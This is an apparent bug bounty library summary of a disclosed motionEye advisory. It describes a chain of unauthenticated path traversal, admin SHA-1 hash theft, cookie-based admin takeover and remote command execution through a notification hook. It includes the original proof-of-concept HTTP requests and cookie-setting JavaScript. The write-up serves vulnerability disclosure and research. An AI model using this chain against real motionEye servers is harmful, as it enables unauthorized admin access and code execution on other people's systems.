# motionEye Partial Authentication Bypass: Unauthenticated Admin Credential Theft via Path Traversal

Unauthenticated path traversal in motionEye's movie playback handler reads motion.conf, leaking the admin SHA-1 hash which is accepted directly as an API signing key, granting full admin and RCE.

- Payout: Research
- Severity: critical
- Program: motionEye
- Found by: pizza-power
- Disclosed: 2026-06-23
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-phv5-334h-mxcw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-phv5-334h-mxcw
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:python technique:chained vuln:access-control vuln:auth-bypass vuln:path-traversal vuln:rce

**Target:** motionEye web server (Tornado) media playback/download handlers
**Root cause:** MoviePlaybackHandler overrides Tornado's get_absolute_path/validate_absolute_path, and os.path.join with an absolute filename discards target_dir, allowing arbitrary file read. The config file stores the admin SHA-1 hash, which is accepted directly as a request signing key.
**Steps:**
1. Confirm @normal_password is empty so unauthenticated requests get 'normal' access (base.py lines 149-151).
2. Send `GET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1` to read the config file.
3. Extract `# @admin_password <sha1>` from the response.
4. Set cookies `meye_username=admin` and `meye_password_hash=<sha1>` and reload to gain admin.
5. Optionally POST to `/config/1/set` with `command_notifications_exec` to run shell commands via motion event hooks.
**How found:** Author noted RCE is by design in motionEye so pivoted to auth bypass; observed that empty normal password grants unauthenticated normal access, then examined media handlers and found overridden path validation enabling arbitrary file read of the config containing the admin hash.
**Exploitation:** Attacker with no credentials hits the playback endpoint with an absolute path to motion.conf, reads the admin SHA-1 hash, then sets meye_username=admin and meye_password_hash=<hash> cookies. Because the stored hash is accepted directly as the signing key, all admin requests validate without cracking. Admin config API then allows setting command_notifications_exec for RCE as the motion daemon user.
**Escalation:** Chains unauthenticated normal access + path traversal + hash-as-signing-key to reach admin, then abuses motion event hook command execution for RCE.
**Insight:** When a framework's static-file safety checks are overridden in a custom handler, test absolute-path filenames against os.path.join; also check whether stored password hashes double as signing keys so a file-read leak becomes immediate auth bypass.

## Proof of concept (copied exactly from the original report)

**Unauthenticated path traversal reads motion.conf**

```
GET /movie/1/playback//etc/motioneye/motion.conf HTTP/1.1
Host: target:8765

Response contains:

# @admin_username admin
# @admin_password 7b7d55439abccf4ae83047c1af2707e6eb6664db
```

**Cookie injection using stolen admin hash**

```
document.cookie = "meye_username=admin; path=/";
document.cookie = "meye_password_hash=7b7d55439abccf4ae83047c1af2707e6eb6664db; path=/";
location.reload();
```

**Admin config API command injection for RCE**

```
POST /config/1/set HTTP/1.1
Content-Type: application/json

{"command_notifications_enabled": true, "command_notifications_exec": "touch /tmp/pwned", ...}
```

